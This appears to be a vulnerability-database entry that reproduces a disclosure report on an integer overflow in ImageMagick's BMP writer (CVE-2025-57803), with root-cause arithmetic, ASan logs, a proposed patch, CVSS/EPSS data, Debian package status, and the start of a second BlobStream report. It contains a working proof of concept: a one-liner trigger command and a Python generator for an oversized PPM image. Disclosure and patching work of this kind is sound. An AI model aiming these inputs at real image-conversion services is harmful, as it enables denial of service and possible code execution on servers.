- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.
    
- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
    

---

## Root Cause (with code anchors)

### Stride computation (writer)

```c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
```

### Per-row base and 24-bpp loop (writer)

```c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}
```

### Allocation (writer)

```c
pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
```

### Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.

---

## Integer-Overflow Analysis (32-bit `size_t`)

Stride formula for 24-bpp:

```
bytes_per_line = 4 * ((width * 24 + 31) / 32)
```

There are **two independent overflow hazards** on 32-bit:

1. **Stage-1 multiply+add** in `(width * 24 + 31)`  
    Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`  
    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.
    
2. **Stage-2 final ×4** after the division  
    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`.  
    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.
    

Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.

**Mismatch predicate (guaranteed OOB when overflowed):**  
Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.  
Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.

---

## Concrete Demonstration

Chosen width: **`W = 178,957,200`** (just over Stage-1 bound)

- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**
    
- Divide by 32: `5535 / 32 = 172`
    
- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride
    
- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`
    
- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`
    
- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
    
---

## Observed Result (ASan excerpt)

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092
```

- Binary: **ELF 32-bit i386**, Q8, non-HDRI
    
- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
    

---

## Exploitability & Risk

- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
    
- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
    
- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).
    
- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.
    

**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

## Reproduction (copy-paste triager script)

**Test Environment:**

- `docker run -it --rm --platform linux/386 debian:11 bash`
    
- Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`
    
- Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`
    
- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

```bash
./configure \
  --host=i686-pc-linux-gnu \
  --build=x86_64-pc-linux-gnu \
  --disable-dependency-tracking \
  --disable-silent-rules \
  --disable-shared \
  --disable-openmp \
  --disable-docs \
  --without-x \
  --without-perl \
  --without-magick-plus-plus \
  --without-lqr \
  --without-zstd \
  --without-tiff \
  --with-quantum-depth=8 \
  --disable-hdri \
  CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)"
```
- Runtime limits to exercise writer:

```bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
```

**One-liner trigger (no input file):**

```bash
W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
```

**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).

**Alternate PoC (raw PPM generator):**

```python
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
```

---

## Proposed Severity

- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**
    
- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**
    

---

## Maintainer Pushbacks — Pre-empted

- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.
    
- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
    
- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.
    
---

## Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

## Regression Tests to Include (PR-friendly)

1. **32-bit overflow repros** (with ASan):
    
    - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.
        
    - `rows=2`, same bound → no row overlap; clean error.
        
2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.
    
3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.

---

## Attachments (private BMP_Package) 
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)

---

## Disclosure & Coordination

- **Reporter:** Lumina Mescuwa
    
- **Tested on:** i686 Linux container (details in Repro)
    
- **Timeline:** August 19th, 2025
    

---

## Appendices

### Appendix A — Patch block tailored to  `bmp.c`

**Where this hooks in (current code):**

- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);`
    
- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);`
    
- Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));`
    
- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`
    

---

## Suggested Patch (minimal surface, guards + invariant)

I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.

```c
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
    (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp;  /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
  /* packed: ceil(width*bpp/8) */
  if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
  /* 16/24/32 bpp: (bpp/8) * width */
  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
  if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = bpp_bytes * (size_t)image->columns;
}

/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */
```

### Why this is the right spot?

- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). 
    
- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. 
    
- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. 
    
- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. 
    

---

## Notes

- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. 
    
- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. 
    
- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
    

A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.



### Appendix B — Arithmetic Worked Example (W=178,957,200)

- `(24W + 31) mod 2^32 = 5535`
    
- `bytes_per_line = 4 * (5535/32) = 688`
    
- `row_bytes (24-bpp) = 536,871,600`
    
- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.
    

### Appendix C — Raw ASan Log (trimmed)

```
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309
    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342
    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
    #0 0x408e30ab in __interceptor_posix_memalign
    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
```
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57803.json
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57803.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-57803
reference_id
reference_type
scores
0
value 0.00082
scoring_system epss
scoring_elements 0.23935
published_at 2026-04-26T12:55:00Z
1
value 0.00082
scoring_system epss
scoring_elements 0.24065
published_at 2026-04-07T12:55:00Z
2
value 0.00082
scoring_system epss
scoring_elements 0.24095
published_at 2026-04-13T12:55:00Z
3
value 0.00082
scoring_system epss
scoring_elements 0.24152
published_at 2026-04-12T12:55:00Z
4
value 0.00082
scoring_system epss
scoring_elements 0.24194
published_at 2026-04-11T12:55:00Z
5
value 0.00082
scoring_system epss
scoring_elements 0.24244
published_at 2026-04-02T12:55:00Z
6
value 0.00082
scoring_system epss
scoring_elements 0.24176
published_at 2026-04-09T12:55:00Z
7
value 0.00082
scoring_system epss
scoring_elements 0.24131
published_at 2026-04-08T12:55:00Z
8
value 0.00082
scoring_system epss
scoring_elements 0.24279
published_at 2026-04-04T12:55:00Z
9
value 0.00082
scoring_system epss
scoring_elements 0.23947
published_at 2026-04-24T12:55:00Z
10
value 0.00082
scoring_system epss
scoring_elements 0.24096
published_at 2026-04-18T12:55:00Z
11
value 0.00082
scoring_system epss
scoring_elements 0.24108
published_at 2026-04-16T12:55:00Z
12
value 0.00089
scoring_system epss
scoring_elements 0.2526
published_at 2026-04-21T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-57803
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57803
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57803
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/
url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
5
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
6
reference_url https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/
url https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7
7
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm
8
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
9
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-57803
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-57803
10
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1112469
reference_id 1112469
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1112469
11
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2391093
reference_id 2391093
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2391093
12
reference_url https://github.com/advisories/GHSA-mxvv-97wh-cfmm
reference_id GHSA-mxvv-97wh-cfmm
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-mxvv-97wh-cfmm
13
reference_url https://access.redhat.com/errata/RHSA-2025:16313
reference_id RHSA-2025:16313
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:16313
14
reference_url https://usn.ubuntu.com/7812-1/
reference_id USN-7812-1
reference_type
scores
url https://usn.ubuntu.com/7812-1/
fixed_packages
0
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u6%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u4%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.3%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
9
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-57803, GHSA-mxvv-97wh-cfmm
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-f6pf-5jnz-fkd1
2
url VCID-mxg1-261s-nbds
vulnerability_id VCID-mxg1-261s-nbds
summary
ImageMagick BlobStream Forward-Seek Under-Allocation
**Reporter:** Lumina Mescuwa  
**Product:** ImageMagick 7 (MagickCore)  
**Component:** `MagickCore/blob.c` (Blob I/O - BlobStream)  
**Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  
**Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  

---

## Executive Summary

For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.

---

## Affected Scope

- **Versions confirmed:** 7.1.2-0, 7.1.2-1
    
- **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64
    
- Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).
    
- **Not required:** External delegates; special policies; integer wraparound
    

---

## Technical Root Cause

**Types (LP64):**  
`offset: MagickOffsetType` (signed 64-bit)  
`extent/length/quantum: size_t` (unsigned 64-bit)  
